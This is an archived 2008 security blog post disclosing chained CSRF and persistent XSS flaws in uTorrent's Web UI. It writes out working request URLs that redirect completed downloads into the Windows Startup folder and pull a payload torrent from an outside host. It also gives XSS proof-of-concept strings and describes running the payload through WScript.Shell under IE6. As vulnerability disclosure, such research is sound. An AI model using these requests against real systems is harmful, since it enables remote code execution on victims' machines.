Farfromr00tin: uTorrent Pwn3d

Farfromr00tin: uTorrent Pwn3d - Rob, r00tin.blogspot.com.

- Published: date not stated
- Original: <https://r00tin.blogspot.com/2008/04/utorrent-pwn3d.html>
- Preserved from: https://r00tin.blogspot.com/2008/04/utorrent-pwn3d.html (live) on 2026-08-10
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Farfromr00tin: uTorrent Pwn3d

[

[uTorrent Pwn3d]

](http://r00tin.blogspot.com/2008/04/utorrent-pwn3d.html)

I was going to keep this under my hat, so to speak, but this has forced my hand.

I found a few CSRFs that when put together can make a pretty devastating attack against uTorrent's Web UI and the underlying system. Basically you can force uTorrent to move completed downloads to an arbitrary directory on their system, download arbitrary torrents, and completely pwn their box.

This guy from rooksecurity.com had a couple interesting CSRFs that will change the username and password required for the Web UI. But, in order for the attacker to change the username and password the user must already be authenticated...so why go to all that trouble? For this attack we're going to assume that the user is already authenticated to uTorrent's Web UI.

First of all you need a way to get a file on their computer. Not only that, but you want to be able to put that file in an arbitrary location of your choosing. To do that you need to turn on uTorrent's "Move completed downloads to" option.

[[image: image]]
(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhElJQ2dz8nAeSyg7Je2yC3dLeXMunQMeejte-tO995C6JDZHVQ3OVvl5pzaGPq_GQF4Pw7H5DwnfHHzG77EWg3-413_ggokrqcY-d9duwXu5Wxkfi6LcH0GPBX9GK1C12e4nK6vQ/s1600-h/utorrent_1.png) Then you need to tell uTorrent what directory to move the completed file to.

[[image: image]]
(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2cVqZu0SJUtLOPpcH1wcNfb8kemREFBKBfx0LV3Ban3MT63J46jFh8nywEPsMVD-pk8UmCzYaSbhhyphenhyphen1_PCHJyvL8OQXKuibBiZTAH4TqJQQp-J-dye5mtmJcc08gtQ-MdfdwmxQ/s1600-h/utorrent_2.png) The URL is cut off in the screenshot, so here's what's actually happening:

http://localhost:14774/gui/?action=setsetting&s=dir_completed_download&v=C:\Documents%20and%20Settings\All%20Users\Start%20Menu\Programs\Startup

And this is what uTorrent's downloads preferences should now look like:

[[image: image]]
(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdOwXTbK2i9x5FLjp7sQ2Pd599MDDIf0a8F_d3eX9NFgWirVI3Nov5v9IZ2NoMZMdt2Y2CaCuPCuqmXcHzLkF1D7Zq6f9mD1IQy-nz28MPx3FY9p1PWArrNJzWV_BMfw8Y9bC20w/s1600-h/utorrent_4.png) Completed files will be moved to the All Users Startup folder and once we can force them to download files we effectively have pwnage. I actually can force them to download a torrent by doing the following:

http://localhost:14774/gui/?action=add-url&s=http://www.whatever.com/file.torrent

Let's say that the torrent makes uTorrent download pwn.bat. Once the download finishes, pwn.bat resides in the Startup folder and gets executed when the user reboots. But wait, it gets worse...

uTorrent has an XSS in the Web UI! Remember my previous two posts about the dangers of local web servers? There are actually a few different spots to exploit this. Here are the PoC strings for the XSS vectors.

http://localhost:14774/gui/?action=setsetting&s=tracker_ip&v=%3Cscript%3Ealert('xss')%3C/script%3E

http://localhost:14774/gui/?action=setsetting&s=ct_hist_comm&v=%3Cscript%3Ealert('xss')%3C/script%3E

http://localhost:14774/gui/?action=setsetting&s=dir_active_download&v=%3Cscript%3Ealert('xss')%3C/script%3E

[[image: image]]
(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOkmMFHimJuELK03An4ovdMmJ3_ttT8YmrPt_MVh2DfddTEt-Lahmcn-NmMtD3dg3pOE0jkyBn0Y2jp8EQ_pAKy1SEW-Tg69BxkpFSelTdgnyjxhlW0iS57vTzIJJkVMVa6kBh1g/s1600-h/utorrent_3.png) These are ALL

persistent XSS attacks. To make the malicious Javascript fire you need to force the user's browser to visit

http://localhost:14774/gui/?action=getsettings

Remember, the "localhost" portion is VERY important because you want to perform a Cross ZONE Scripting attack, not just XSS. You could use "loopback" in place of "localhost" as well. So, moving on...

[[image: image]]
(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiogpssPZ0NT62TPlDGPD6wz17qR1Uvj7Rjk-SpKyzXOzOlPu8I2coGaKZlj_vcAmsReZoO_yi39kfuNllT4xThDVs-YqJucJKAiFO6_828Rad0bdbu5LaWejC-GdyDMq94ciJ_iA/s1600-h/local_intranet.png) If your target is using IE 6 then you don't have to force them to download a file to the Startup folder and wait for them to restart their box. All you have to do is force them to download the file to a location like C:\ and then execute it for them with the WScript.Shell ActiveXObject since your Javascript is in the Local Intranet zone.

[[image: image]](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpygjxODR8-nGf-_bYiNWUmzy2UXuqSE1lFadR5mJyXvpjc111T62HaER3lV6mXW0Lk8QH6PFxdPX9g7ucIo3ZN6Hb0xLHYKzFvyXxs8o3X79T9IqX5jnBqOgo_T9orAxQ9IVy_g/s1600-h/stallowned.jpg) Pwn3d. Stay tuned, more torrent pwnage to come soon...
